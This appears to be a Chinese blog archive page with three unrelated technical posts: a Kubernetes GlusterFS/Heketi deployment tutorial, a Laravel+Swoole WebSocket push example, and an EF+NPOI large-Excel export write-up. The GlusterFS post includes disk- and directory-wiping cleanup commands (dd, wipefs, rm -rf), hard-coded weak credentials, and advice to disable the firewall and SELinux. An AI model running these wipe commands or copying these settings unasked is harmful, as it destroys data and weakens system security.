月份彙整: 2020 年 2 月

附010.Kubernetes永久存儲之GlusterFS超融合部署

發佈日期: 作者:

一 前期準備

1.1 基礎知識


在Kubernetes中，使用GlusterFS文件系統，操作步驟通常是：

創建brick–>創建volume–>創建PV–>創建PVC–>Pod掛載PVC

如果要創建多個PV，則需要手動重複執行，可通過Heketi管理glusterfs。

Heketi是用來管理GlusterFS卷的生命周期的，並提供了一個RESTful API接口供Kubernetes調用，因為GlusterFS沒有提供API調用的方式，所以我們藉助heketi。通過Heketi，Kubernetes可以動態配置GlusterFS卷，Heketi會動態在集群內選擇bricks創建所需的volumes，確保數據的副本會分散到集群不同的故障域內，同時Heketi還支持GlusterFS多集群管理，便於管理員對GlusterFS進行操作。

Heketi要求在每個glusterfs節點上配備裸磁盤，用於Heketi創建PV和VG。通過Hekete，Kubernetes中使用PV步驟為：

創建StorageClass–>創建PVC–>Pod掛載PVC

這種方式稱為基於StorageClass的動態資源供應。

提示：本實驗基於Kubernetes部署glusterfs，同時glusterfs管理組件Heketi也使用Kubernetes部署。

1.2 架構示意



提示：本實驗不涉及Kubernetes部署，Kubernetes部署參考001-019。

1.3 相關規劃






主機

IP

磁盤

備註

k8smaster01

172.24.8.71

Kubernetes master節點

k8smaster02

172.24.8.72

Kubernetes master節點

k8smaster03

172.24.8.73

Kubernetes master節點

k8snode01

172.24.8.74

sdb

Kubernetes node節點

glusterfs節點

k8snode02

172.24.8.75

sdb

Kubernetes node節點

glusterfs節點

k8snode03

172.24.8.76

sdb

Kubernetes node節點

glusterfs節點

磁盤規劃

k8snode01 k8snode02 k8snode03
PV sdb1 sdb1 sdb1





1.4 部署條件

超融合部署需要具有已經部署的Kubernetes集群管理訪問權限。如果Kubernetes節點滿足以下要求，則可以選擇將GlusterFS作為超融合服務部署：

  • 必須至少有三個節點用於glusterfs；

  • 每個節點必須至少連接一個裸磁盤設備，以供heketi使用。這些設備上不得包含任何數據，heketi將會格式化和分區此設備；

  • 每個節點必須打開以下端口才能進行GlusterFS通信：

    • 2222：GlusterFS pod的sshd端口；

    • 24007：GlusterFS守護程序；

    • 24008：GlusterFS管理；

    • 49152——49251：主機上每個卷的每個brick都需要有獨立的端口。對於每塊新brick，將從49152開始使用一個新端口。建議每台主機的默認範圍為49152-49251，也可根據需要進行調整。

  • 必須加載以下內核模塊：

    • dm_snapshot

    • dm_mirror

    • dm_thin_pool

  • 對於內核模塊，可通過lsmod | grep <name>查看模塊是否存在，並modprobe <name>加載給定的模塊。

  • 每個節點都要求該mount.glusterfs命令可用。在所有基於Red Hat的操作系統下，此命令由glusterfs-fuse軟件包提供。


注意：節點上安裝的GlusterFS客戶端版本應盡可能接近服務器的版本。要獲取已安裝的版本，可通過glusterfs –version或kubectl exec <pod> — glusterfs –version命令查看。

1.5 其他準備


所有節點NTP配置；

所有節點添加相應主機名解析：

  1 172.24.8.71 k8smaster01
  2 172.24.8.72 k8smaster02
  3 172.24.8.73 k8smaster03
  4 172.24.8.74 k8snode01
  5 172.24.8.75 k8snode02
  6 172.24.8.76 k8snode03



注意：若非必要，建議關閉防火牆和SELinux。

二 規劃裸設備

2.1 確認磁盤

  1 [root@k8snode01 ~]# fdisk /dev/sdb -l		#檢查sdb是否為裸磁盤

三 安裝glusterfs-fuse

3.1 安裝相應RPM源

  1 [root@k8snode01 ~]# yum -y install centos-release-gluster
  2 [root@k8snode01 ~]# yum -y install glusterfs-fuse		#安裝glusterfs-fuse



提示：k8snode01、k8snode02、k8snode03類似操作，根據1.4要求安裝glusterfs-fuse組件；

安裝相應源之後，會在/etc/yum.repos.d/目錄多出文件CentOS-Storage-common.repo，內容如下：

# CentOS-Storage.repo

#

# Please see http://wiki.centos.org/SpecialInterestGroup/Storage for more

# information




[centos-storage-debuginfo]

name=CentOS-$releasever – Storage SIG – debuginfo

baseurl=http://debuginfo.centos.org/$contentdir/$releasever/storage/$basearch/

gpgcheck=1

enabled=0

gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-SIG-Storage

3.2 加載相應模塊

  1 [root@k8snode01 ~]# cat > /etc/sysconfig/modules/glusterfs.modules <<EOF
  2 #!/bin/bash
  3 
  4 for kernel_module in dm_snapshot dm_mirror dm_thin_pool;do
  5     /sbin/modinfo -F filename \${kernel_module} > /dev/null 2>&1
  6     if [ \$? -eq 0 ]; then
  7         /sbin/modprobe \${kernel_module}
  8     fi
  9 done;
 10 EOF
 11 [root@k8snode01 ~]# chmod +x /etc/sysconfig/modules/glusterfs.modules
 12 [root@k8snode01 ~]# lsmod |egrep "dm_snapshot|dm_mirror|dm_thin_pool"	#所有glusterfs node節點檢查



提示：可通過modprobe <name>加載給定的模塊。

四 Kubernetes部署glusterfs

4.1 Node tag

  1 [root@k8smaster01 ~]# kubectl label nodes k8snode01 storagenode=glusterfs
  2 [root@k8smaster01 ~]# kubectl label nodes k8snode02 storagenode=glusterfs
  3 [root@k8smaster01 ~]# kubectl label nodes k8snode03 storagenode=glusterfs




提示：在後續使用DaemonSet部署時候kube-templates/glusterfs-daemonset.yaml存在如下針對label的Selector：

spec:

nodeSelector:

storagenode: glusterfs

4.2 下載glusterfs-Kubernetes

  1 [root@k8smaster01 ~]# yum -y install git
  2 [root@k8smaster01 ~]# git clone https://github.com/gluster/gluster-kubernetes.git


4.3 修改glusterfs拓撲

  1 [root@k8smaster01 ~]# cd gluster-kubernetes/deploy/
  2 [root@k8smaster01 deploy]# cp topology.json.sample topology.json
  3 [root@k8smaster01 deploy]# vi topology.json


  1 {
  2   "clusters": [
  3     {
  4       "nodes": [
  5         {
  6           "node": {
  7             "hostnames": {
  8               "manage": [
  9                 "k8snode01"
 10               ],
 11               "storage": [
 12                 "172.24.8.74"
 13               ]
 14             },
 15             "zone": 1
 16           },
 17           "devices": [
 18             "/dev/sdb"
 19           ]
 20         },
 21         {
 22           "node": {
 23             "hostnames": {
 24               "manage": [
 25                 "k8snode02"
 26               ],
 27               "storage": [
 28                 "172.24.8.75"
 29               ]
 30             },
 31             "zone": 1
 32           },
 33           "devices": [
 34             "/dev/sdb"
 35           ]
 36         },
 37         {
 38           "node": {
 39             "hostnames": {
 40               "manage": [
 41                 "k8snode03"
 42               ],
 43               "storage": [
 44                 "172.24.8.76"
 45               ]
 46             },
 47             "zone": 1
 48           },
 49           "devices": [
 50             "/dev/sdb"
 51           ]
 52         }
 53       ]
 54     }
 55   ]
 56 }


提示：heketi配置文件及介紹參考《附009.Kubernetes永久存儲之GlusterFS獨立部署》。

若需要修改heketi的暴露方式，若需要修改為NodePort，可參考https://lichi6174.github.io/glusterfs-heketi/。

所有部署相關yaml位於/root/gluster-kubernetes/deploy/kube-templates，本實驗採用默認參數。

4.4 配置heketi

  1 [root@k8smaster01 deploy]# cp heketi.json.template heketi.json
  2 [root@k8smaster01 deploy]# vi heketi.json
  3 {
  4     "_port_comment": "Heketi Server Port Number",
  5     "port" : "8080",
  6 
  7     "_use_auth": "Enable JWT authorization. Please enable for deployment",
  8     "use_auth" : true,				#開啟用戶認證
  9 
 10     "_jwt" : "Private keys for access",
 11     "jwt" : {
 12         "_admin" : "Admin has access to all APIs",
 13         "admin" : {
 14             "key" : "admin123"			#管理員密碼
 15         },
 16         "_user" : "User only has access to /volumes endpoint",
 17         "user" : {
 18             "key" : "xianghy"			#用戶密碼
 19         }
 20     },
 21 
 22     "_glusterfs_comment": "GlusterFS Configuration",
 23     "glusterfs" : {
 24 
 25         "_executor_comment": "Execute plugin. Possible choices: mock, kubernetes, ssh",
 26         "executor" : "${HEKETI_EXECUTOR}",	        #本實驗使用Kubernetes方式
 27 
 28         "_db_comment": "Database file name",
 29         "db" : "/var/lib/heketi/heketi.db",	        #heketi數據存儲
 30 
 31         "kubeexec" : {
 32             "rebalance_on_expansion": true
 33         },
 34 
 35         "sshexec" : {
 36             "rebalance_on_expansion": true,
 37             "keyfile" : "/etc/heketi/private_key",
 38             "port" : "${SSH_PORT}",
 39             "user" : "${SSH_USER}",
 40             "sudo" : ${SSH_SUDO}
 41         }
 42     },
 43 
 44     "backup_db_to_kube_secret": false
 45 }


4.5 相關修正


新版Kubernetes的# kubectl get pod命令無–show-all選項，需要如下操作修正部署gk-deploy腳本。

  1 [root@k8smaster01 deploy]# vi gk-deploy
  2 924 #heketi_pod=$(${CLI} get pod --no-headers --show-all --selector="heketi" | awk '{print $1}')
  3 925 heketi_pod=$(${CLI} get pod --no-headers --selector="heketi" | awk '{print $1}')






由於國內glusterfs鏡像可能無法pull，建議通過VPN等方式提前pull鏡像，然後上傳至所有glusterfs node節點。

  1 [root@VPN ~]# docker pull gluster/gluster-centos:latest
  2 [root@VPN ~]# docker pull heketi/heketi:dev
  3 [root@VPN ~]# docker save -o gluster_latest.tar gluster/gluster-centos:latest
  4 [root@VPN ~]# docker save -o heketi_dev.tar heketi/heketi:dev
  5 [root@k8snode01 ~]# docker load -i gluster_latest.tar
  6 [root@k8snode01 ~]# docker load -i heketi_dev.tar
  7 [root@k8snode01 ~]# docker images
  8


4.6 正式部署

  1 [root@k8smaster01 deploy]# ./gk-deploy -h			#查看部署參數
  2 [root@k8smaster01 deploy]# kubectl create ns heketi		#建議部署在獨立的namespace中
  3 [root@k8smaster01 deploy]# ./gk-deploy -g -n heketi topology.json --admin-key admin123 --user-key xianghy
  4 ……
  5 Do you wish to proceed with deployment?
  6 
  7 [Y]es, [N]o? [Default: Y]: y





提示：部署腳本更多參數參考：https://github.com/gluster/gluster-kubernetes/blob/master/deploy/gk-deploy。

注意：若部署失敗，需要通過下方式徹底刪除后重新部署：

  1 [root@k8smaster01 deploy]# ./gk-deploy --abort --admin-key admin123 --user-key xianghy -y -n heketi
  2 [root@k8smaster01 deploy]# kubectl delete -f kube-templates/ -n heketi



glusterfs node節點需要執行如下徹底清理：

  1 [root@k8snode01 ~]# dmsetup ls
  2 [root@k8snode01 ~]# dmsetup remove_all
  3 [root@k8snode01 ~]# rm -rf /var/log/glusterfs/
  4 [root@k8snode01 ~]# rm -rf /var/lib/heketi
  5 [root@k8snode01 ~]# rm -rf /var/lib/glusterd/
  6 [root@k8snode01 ~]# rm -rf /etc/glusterfs/
  7 [root@k8snode01 ~]# dd if=/dev/zero of=/dev/sdb bs=512k count=1
  8 [root@k8snode01 ~]# wipefs -af /dev/sdb


4.7 Kubernetes集群查看驗證

  1 [root@k8smaster01 ~]# kubectl get nodes --show-labels | grep -E 'NAME|node'
  2 [root@k8smaster01 ~]# kubectl get all -n heketi




  1 [root@k8smaster01 ~]# kubectl get pods -o wide -n heketi



4.8 gluster集群查看驗證

  1 [root@k8smaster01 ~]# kubectl exec -it heketi-65f4555d74-72hrf -n heketi -- heketi-cli cluster list --user admin --secret admin123								#集群列表
  2 [root@k8smaster01 ~]# kubectl -n heketi exec -ti heketi-65f4555d74-72hrf /bin/bash                               [root@heketi-65f4555d74-72hrf /]# heketi-cli cluster list --user admin --secret admin123	#進入heketi容器查看
  3 [root@k8smaster01 ~]# curl http://10.254.111.219:8080/hello
  4 Hello from Heketi



注意：使用4.6腳本為一鍵部署，也可使用gluster-kubernetes/deploy/目錄下的文件，分開逐步部署，整理部署思路如下：

  1. 使用glusterfs-daemonset.json部署glusterfs DaemonSet；

  2. 對node節點進行打標籤；

  3. 使用heketi-service-account.json部署Heketi的服務帳戶；

  4. 對Heketi所創建的服務帳戶授權；

  5. 創建secret；

  6. 轉發本地8080端口至deploy-heketi。


獨立部署完整過程參考：https://jimmysong.io/kubernetes-handbook/practice/using-heketi-gluster-for-persistent-storage.html。

五 安裝heketi-cli


由於在master節點管理heketi需要進入heketi容器或者使用kubectl exec -ti 方式，建議直接在master節點安裝heketi客戶端，直接管理、

5.1 安裝heketi服務

  1 [root@k8smaster01 ~]# yum -y install centos-release-gluster
  2 [root@k8smaster01 ~]# yum -y install heketi-client


5.2 配置heketi

  1 [root@k8smaster01 ~]# echo "export HEKETI_CLI_SERVER=http://$(kubectl get svc heketi -n heketi -o go-template='{{.spec.clusterIP}}'):8080" >> /etc/profile.d/heketi.sh
  2 [root@k8smaster01 ~]# echo "alias heketi-cli='heketi-cli --user admin --secret admin123'" >> ~/.bashrc
  3 [root@k8smaster01 ~]# source /etc/profile.d/heketi.sh
  4 [root@k8smaster01 ~]# source ~/.bashrc
  5 [root@k8smaster01 ~]# echo $HEKETI_CLI_SERVER
  6 http://heketi:8080


5.3 集群管理

  1 [root@k8smaster01 ~]# heketi-cli cluster list
  2 Clusters:
  3 Id:67004a06fbcb4fa525bcec1fbaa9ef2d [file][block]
  4 [root@k8smaster01 ~]# heketi-cli cluster info 67004a06fbcb4fa525bcec1fbaa9ef2d	#集群詳細信息
  5 Cluster id: 67004a06fbcb4fa525bcec1fbaa9ef2d
  6 Nodes:
  7 40cdd4c1d0c389939193d6dea3c5bfe8
  8 62873c54cf61025fda91e6d44433378b
  9 d48986357840d28653304e7170599da5
 10 Volumes:
 11 5f15f201d623e56b66af56313a1975e7
 12 Block: true
 13 
 14 File: true
 15 [root@k8smaster01 ~]# heketi-cli topology info 67004a06fbcb4fa525bcec1fbaa9ef2d	#查看拓撲信息
 16 [root@k8smaster01 ~]# heketi-cli node list					        #查看所有node
 17 Id:40cdd4c1d0c389939193d6dea3c5bfe8     Cluster:67004a06fbcb4fa525bcec1fbaa9ef2d
 18 Id:62873c54cf61025fda91e6d44433378b     Cluster:67004a06fbcb4fa525bcec1fbaa9ef2d
 19 Id:d48986357840d28653304e7170599da5     Cluster:67004a06fbcb4fa525bcec1fbaa9ef2d
 20 [root@k8smaster01 ~]# heketi-cli node info 40cdd4c1d0c389939193d6dea3c5bfe8  	#node節點信息
 21 [root@k8smaster01 ~]# heketi-cli volume create --size=2 --replica=2		        #默認為3副本的replica模式



  1 [root@k8smaster01 ~]# heketi-cli volume list					#列出所有卷
  2 [root@k8smaster01 ~]# heketi-cli volume info fc296ab350dcc36e00dd3b3643a04645	#卷信息
  3 [root@k8smaster01 ~]# heketi-cli volume delete fc296ab350dcc36e00dd3b3643a04645	#刪除卷


六 Kubernetes動態掛載glusterfs

6.1 StorageClass動態存儲


kubernetes共享存儲provider模式：

靜態模式(Static)：集群管理員手工創建PV，在定義PV時設置後端存儲的特性；

動態模式(Dynamic)：集群管理員不需要手工創建PV，而是通過StorageClass的設置對後端存儲進行描述，標記為某種”類型(Class)”；此時要求PVC對存儲的類型進行說明，系統將自動完成PV的創建及與PVC的綁定；PVC可以聲明Class為””，說明PVC禁止使用動態模式。

基於StorageClass的動態存儲供應整體過程如下圖所示：


  1. 集群管理員預先創建存儲類（StorageClass）；

  2. 用戶創建使用存儲類的持久化存儲聲明(PVC：PersistentVolumeClaim)；

  3. 存儲持久化聲明通知系統，它需要一個持久化存儲(PV: PersistentVolume)；

  4. 系統讀取存儲類的信息；

  5. 系統基於存儲類的信息，在後台自動創建PVC需要的PV；

  6. 用戶創建一個使用PVC的Pod；

  7. Pod中的應用通過PVC進行數據的持久化；

  8. 而PVC使用PV進行數據的最終持久化處理。


提示：關於Kubernetes的部署參考《附003.Kubeadm部署Kubernetes》。

6.2 定義StorageClass


關鍵字說明：

  • provisioner：表示存儲分配器，需要根據後端存儲的不同而變更；

  • reclaimPolicy: 默認即”Delete”，刪除pvc后，相應的pv及後端的volume，brick(lvm)等一起刪除；設置為”Retain”時則保留數據，若需刪除則需要手工處理；

  • resturl：heketi API服務提供的url；

  • restauthenabled：可選參數，默認值為”false”，heketi服務開啟認證時必須設置為”true”；

  • restuser：可選參數，開啟認證時設置相應用戶名；

  • secretNamespace：可選參數，開啟認證時可以設置為使用持久化存儲的namespace；

  • secretName：可選參數，開啟認證時，需要將heketi服務的認證密碼保存在secret資源中；

  • clusterid：可選參數，指定集群id，也可以是1個clusterid列表，格式為”id1,id2”；

  • volumetype：可選參數，設置卷類型及其參數，如果未分配卷類型，則有分配器決定卷類型；如”volumetype: replicate:3”表示3副本的replicate卷，”volumetype: disperse:4:2”表示disperse卷，其中‘4’是數據，’2’是冗餘校驗，”volumetype: none”表示distribute卷


提示：關於glusterfs各種不同類型的卷見《004.RHGS-創建volume》。

  1 [root@k8smaster01 ~]# echo -n "admin123" | base64		#將密碼轉換為64位編碼
  2 YWRtaW4xMjM=
  3 [root@k8smaster01 ~]# mkdir -p heketi
  4 [root@k8smaster01 ~]# cd heketi/
  5 [root@k8smaster01 ~]# vi heketi-secret.yaml			#創建用於保存密碼的secret
  6 apiVersion: v1
  7 kind: Secret
  8 metadata:
  9   name: heketi-secret
 10   namespace: heketi
 11 data:
 12   # base64 encoded password. E.g.: echo -n "mypassword" | base64
 13   key: YWRtaW4xMjM=
 14 type: kubernetes.io/glusterfs
 15 [root@k8smaster01 heketi]# kubectl create -f heketi-secret.yaml	#創建heketi
 16 [root@k8smaster01 heketi]# kubectl get secrets -n heketi
 17 NAME                                 TYPE                                  DATA   AGE
 18 default-token-6n746                  kubernetes.io/service-account-token   3      144m
 19 heketi-config-secret                 Opaque                                3      142m
 20 heketi-secret                        kubernetes.io/glusterfs               1      3m1s
 21 heketi-service-account-token-ljlkb   kubernetes.io/service-account-token   3      143m
 22 [root@kubenode1 heketi]# vim gluster-heketi-storageclass.yaml	#正式創建StorageClass
 23 apiVersion: storage.k8s.io/v1
 24 kind: StorageClass
 25 metadata:
 26   name: gluster-heketi-storageclass
 27 parameters:
 28   resturl: "http://10.254.111.219:8080"
 29   clusterid: "67004a06fbcb4fa525bcec1fbaa9ef2d"
 30   restauthenabled: "true"					#若heketi開啟認證此處也必須開啟auth認證
 31   restuser: "admin"
 32   secretName: "heketi-secret"					#name/namespace與secret資源中定義一致
 33   secretNamespace: "heketi"
 34   volumetype: "replicate:3"
 35 provisioner: kubernetes.io/glusterfs
 36 reclaimPolicy: Delete
 37 [root@k8smaster01 heketi]# kubectl create -f gluster-heketi-storageclass.yaml



注意：storageclass資源創建后不可變更，如修改只能刪除后重建。

  1 [root@k8smaster01 heketi]# kubectl get storageclasses		#查看確認
  2 NAME                          PROVISIONER               AGE
  3 gluster-heketi-storageclass   kubernetes.io/glusterfs   85s
  4 [root@k8smaster01 heketi]# kubectl describe storageclasses gluster-heketi-storageclass




6.3 定義PVC

  1 [root@k8smaster01 heketi]# vi gluster-heketi-pvc.yaml
  2 apiVersion: v1
  3 kind: PersistentVolumeClaim
  4 metadata:
  5   name: gluster-heketi-pvc
  6   annotations:
  7     volume.beta.kubernetes.io/storage-class: gluster-heketi-storageclass
  8 spec:
  9   accessModes:
 10   - ReadWriteOnce
 11   resources:
 12     requests:
 13       storage: 1Gi


注意：accessModes可有如下簡寫：

  • ReadWriteOnce：簡寫RWO，讀寫權限，且只能被單個node掛載；

  • ReadOnlyMany：簡寫ROX，只讀權限，允許被多個node掛載；

  • ReadWriteMany：簡寫RWX，讀寫權限，允許被多個node掛載。


  1 [root@k8smaster01 heketi]# kubectl create -f gluster-heketi-pvc.yaml -n heketi
  2 [root@k8smaster01 heketi]# kubectl get pvc -n heketi
  3 [root@k8smaster01 heketi]# kubectl describe pvc gluster-heketi-pvc -n heketi
  4 [root@k8smaster01 heketi]# kubectl get pv -n heketi
  5 [root@k8smaster01 heketi]# kubectl describe pv pvc-ca949559-094a-11ea-8b3c-000c29fa7a79 -n heketi




  1 [root@k8smaster01 heketi]# kubectl describe endpoints glusterfs-dynamic-ca949559-094a-11ea-8b3c-000c29fa7a79 -n heketi




提示：由上可知：PVC狀態為Bound，Capacity為1G。查看PV詳細信息，除容量，引用storageclass信息，狀態，回收策略等外，同時可知GlusterFS的Endpoint與path。EndpointsName為固定格式：glusterfs-dynamic-PV_NAME，且endpoints資源中指定了掛載存儲時的具體地址。

6.4 確認查看


通過5.3所創建的信息：

  • volume與brick已經創建；

  • 主掛載點（通信）在172.24.8.41節點，其餘兩個節點備選；

  • 三副本的情況下，所有節點都會創建brick。

  1 [root@k8smaster01 ~]# kubectl get pod -n heketi
  2 [root@k8smaster01 ~]# kubectl exec -ti glusterfs-b854k -n heketi -- lsblk	#glusterfs節點查看
  3 [root@k8smaster01 ~]# kubectl exec -ti glusterfs-b854k -n heketi -- df -hT	#glusterfs節點查看
  4 [root@k8smaster01 ~]# kubectl exec -ti glusterfs-b854k -n heketi -- gluster volume list
  5 [root@k8smaster01 ~]# kubectl exec -ti glusterfs-b854k -n heketi -- gluster volume info vol_29ba6f9665522ad5893412e61799a433				#glusterfs節點查看




6.5 Pod掛載測試

  1 [root@xxx ~]# yum -y install centos-release-gluster
  2 [root@xxx ~]# yum -y install glusterfs-fuse					#安裝glusterfs-fuse



提示：本環境master節點也允許分發pod，因此所有master也必須安裝glusterfs-fuse以便於正常掛載，同時版本需要和glusterfs節點一致。

  1 [root@k8smaster01 heketi]# vi gluster-heketi-pod.yaml
  2 kind: Pod
  3 apiVersion: v1
  4 metadata:
  5   name: gluster-heketi-pod
  6 spec:
  7   containers:
  8   - name: gluster-heketi-container
  9     image: busybox
 10     command:
 11     - sleep
 12     - "3600"
 13     volumeMounts:
 14     - name: gluster-heketi-volume			#必須和volumes中name一致
 15       mountPath: "/pv-data"
 16       readOnly: false
 17   volumes:
 18   - name: gluster-heketi-volume
 19     persistentVolumeClaim:
 20       claimName: gluster-heketi-pvc	  	 	#必須和5.3創建的PVC中的name一致
 21 [root@k8smaster01 heketi]# kubectl create -f gluster-heketi-pod.yaml -n heketi	#創建Pod


6.6 確認驗證

  1 [root@k8smaster01 ~]# kubectl get pod -n heketi | grep gluster-heketi
  2 gluster-heketi-pod        1/1     Running   0          4m58s
  3 [root@k8smaster01 ~]# kubectl exec -it gluster-heketi-pod /bin/sh -n heketi 	#進入Pod寫入測試文件
  4 / # cd /pv-data/
  5 /pv-data # echo "This is a file!" >> a.txt
  6 /pv-data # echo "This is b file!" >> b.txt
  7 /pv-data # ls
  8 a.txt  b.txt
  9 [root@k8smaster01 ~]# kubectl exec -it gluster-heketi-pod -n heketi -- df -h	#查看所掛載的glusterfs



  1 [root@k8smaster01 ~]# kubectl get pods -n heketi -o wide		#查看對應的glusterfs node



  1 [root@k8smaster01 ~]# kubectl exec -ti glusterfs-b854k -n heketi -- cat /var/lib/heketi/mounts/vg_2c7a02d1b1b7c1f165283b6691062102/brick_16e37a18a5e5fd40e14338ba78d99565/brick/a.txt
  2 This is a file!



提示：通過Pod寫入相應的測試文件，然後通過glusterfs node節點查看是否存在。

6.7 刪除資源

  1 [root@k8smaster01 ~]# cd heketi/
  2 [root@k8smaster01 heketi]# kubectl delete -f gluster-heketi-pod.yaml -n heketi
  3 [root@k8smaster01 heketi]# kubectl delete -f gluster-heketi-pvc.yaml
  4 [root@k8smaster01 heketi]# kubectl get pvc -n heketi
  5 [root@k8smaster01 heketi]# kubectl get pv -n heketi
  6 [root@k8smaster01 heketi]# kubectl exec -ti glusterfs-b854k -n heketi gluster volume list | grep gluster




參考：https://www.linuxba.com/archives/8152

https://www.cnblogs.com/blackmood/p/11389811.html本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，網站設計公司幫您達到更多曝光效益

實現websocket 主動消息推送，用laravel+Swoole

發佈日期: 作者:

近來有個需求：想實現一個可以主動觸發消息推送的功能，這個可以實現向模板消息那個，給予所有成員發送自定義消息，而不需要通過客戶端發送消息，服務端上message中監聽傳送的消息進行做相對於的業務邏輯。

主動消息推送實現
平常我們採用 swoole 來寫 WebSocket 服務可能最多的用到的是open,message,close這三個監聽狀態，但是萬萬沒有看下下面的onRequest回調的使用，沒錯，解決這次主動消息推送的就是需要用onRequest回調。
官方文檔：正因為swoole_websocket_server繼承自swoole_http_server，所以在 websocket 中有onRequest回調。

詳細實現：

 1 # 這裡是一個laravel中Commands
 2 # 運行php artisan swoole start 即可運行
 3 <?php
 4 
 5 namespace App\Console\Commands;
 6 
 7 use Illuminate\Console\Command;
 8 use swoole_websocket_server;
 9 
10 class Swoole extends Command
11 {
12     public $ws;
13     /**
14      * The name and signature of the console command.
15      *
16      * @var string
17      */
18     protected $signature = 'swoole {action}';
19 
20     /**
21      * The console command description.
22      *
23      * @var string
24      */
25     protected $description = 'Active Push Message';
26 
27     /**
28      * Create a new command instance.
29      *
30      * @return void
31      */
32     public function __construct()
33     {
34         parent::__construct();
35     }
36 
37     /**
38      * Execute the console command.
39      *
40      * @return mixed
41      */
42     public function handle()
43     {
44         $arg = $this->argument('action');
45         switch ($arg) {
46             case 'start':
47                 $this->info('swoole server started');
48                 $this->start();
49                 break;
50             case 'stop':
51                 $this->info('swoole server stoped');
52                 break;
53             case 'restart':
54                 $this->info('swoole server restarted');
55                 break;
56         }
57     }
58 
59     /**
60      * 啟動Swoole
61      */
62     private function start()
63     {
64         $this->ws = new swoole_websocket_server("0.0.0.0", 9502);
65         //監聽WebSocket連接打開事件
66         $this->ws->on('open', function ($ws, $request) {
67         });
68         //監聽WebSocket消息事件
69         $this->ws->on('message', function ($ws, $frame) {
70             $this->info("client is SendMessage\n");
71         });
72         //監聽WebSocket主動推送消息事件
73         $this->ws->on('request', function ($request, $response) {
74             $scene = $request->post['scene'];       // 獲取值
75             $this->info("client is PushMessage\n".$scene);
76         });
77         //監聽WebSocket連接關閉事件
78         $this->ws->on('close', function ($ws, $fd) {
79             $this->info("client is close\n");
80         });
81         $this->ws->start();
82     }
83 }

 

前面說的是 swoole 中onRequest的實現，下面實現下在控制器中主動觸發onRequest回調。實現方法就是我們熟悉的curl請求。

 1 # 調用activepush方法以後，會在cmd中打印出 
 2 # client is PushMessage 主動推送消息 字眼
 3     /**
 4      * CURL請求
 5      * @param $data
 6      */
 7     public function curl($data)
 8     {
 9         $curl = curl_init();
10         curl_setopt($curl, CURLOPT_URL, "http://127.0.0.1:9502");
11         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
12         curl_setopt($curl, CURLOPT_HEADER, 1);
13         curl_setopt($curl, CURLOPT_POST, 1);
14         curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
15         curl_exec($curl);
16         curl_close($curl);
17     }
18     
19     /**
20      * 主動觸發
21      */
22     public function activepush()
23     {
24         $param['scene'] = '主動推送消息';
25         $this->curl($param);            // 主動推送消息

 

用途
onRequest 回調特別適用於需要在控制器中調用的推送消息，比如模板消息之類，在控制器中調用。

 

推薦閱讀：

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司，幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦、台中網頁設計公司推薦專業設計師”嚨底家”!!

ef+Npoi導出百萬行excel之踩坑記

發佈日期: 作者:

        最近在做一個需求是導出較大的excel，本文是記錄我在做需求過程中遇到的幾個問題和解題方法，給大家分享一下，一來可以幫助同樣遇到問題的朋友，二呢，各位大神也許有更好的方法可以指點小弟一下，讓我順便學習一下。 背景：：工頭：“小鍾啊，xx界面加個導出excel功能03以後的格式，需要能支持到excel的最大行，同時需要5個併發就行” 我：“收到，但是數據大的時候速度可能比較慢。” 工頭：“你先做後續客戶反饋了在給他加進度條。” Npoi神器介紹：SXSSFWorkbook 專門用來導出大數據用，他會把數據先寫入C盤的臨時目錄；不會所有 都留在內存里；更詳細介紹請百度或者參考（ ） 有了這層基礎開始劈里啪啦一段操作寫代碼；（以下代碼非生產代碼只是我為了帖子寫重現問題的測試代碼） 首先開個線程模擬併發 編寫導出方法：記錄時間、創建SXSSFWorkbook 代碼如圖： 啟動運行； 好！第一口鍋已造好，看這個提示，前面說了SXSSFWorkbook 是會先把緩存數據寫入Windows臨時文件裡頭的，這個目錄正好是Windows的臨時文件夾雖然是個錯誤但是驗證了剛剛的說法；至於這個錯誤看提示 我們有個大膽的想法是文件佔用問題，應該是創建文件的時候文件已經存在了，這樣我們把npoi的dll打開來看看，通過看源碼和各種f12我們看到了這麼一段代碼 這裏看到用來隨機數，而我們知道net的隨機數在極短的時間內生成是不可靠的（詳見百度或者： ）也就是說生成一樣的文件名，然後我們在通過 github里可以看到   早在年初NPOI就對這個問題做了更改就換成guid了，隨後我來到了nuget nuget最新版 是去年12月份發布，並沒有包含上面的更改； 所以呢 要麼github下載最新版編譯要麼自己解決，想了想如果換版本的話以前的功能可能會影響到所以，我們就在外面加一把小鎖吧！如圖   這樣呢我們在試試！   很好 不會在出現文件佔用問題了；好繼續導出！ 既然是都先寫入緩存文件是不是佔用的內存就很小了 來看看 2G多。。。什麼情況，還在漲   3G。。。這明顯不符合工頭的需求了，然後終於它炸了 第一念頭是為啥我該怎麼辦，設置GC的回收模式？手動多GC？還是要把代碼給拿下來看看，看看這麼大內存哪裡沒釋放文件？冷靜、冷靜、想想，既然是內存爆了 那麼正確流程應該是抓取看看是什麼吃的內存得出結果再去改東西， 發現了啥是不是很熟悉的東西？ 狀態管理、包裝類，想到了啥 EF的“模型跟蹤”這個功能佔用的內存最大了。那就去掉吧 加上這麼一句 意思是無跟蹤查詢 ，修改實例后SaveChanges不對對它生效； （AsNoTracking 更詳情理解介紹請百度在加上msdn： ） 現在在繼續導出看看： 內存是吃的不大了， 可以看出臨時文件還是很大的，這還沒導完呢，所以做的時候 盡量要保證下硬盤的空間！ 等待。。。 總結： 1.導出大數據用SXSSFWorkbook 2.構建SXSSFWorkbook 時候lock或者自己編譯最新版本 3.我們做導出時，ef查詢數據後記得加AsNoTracking 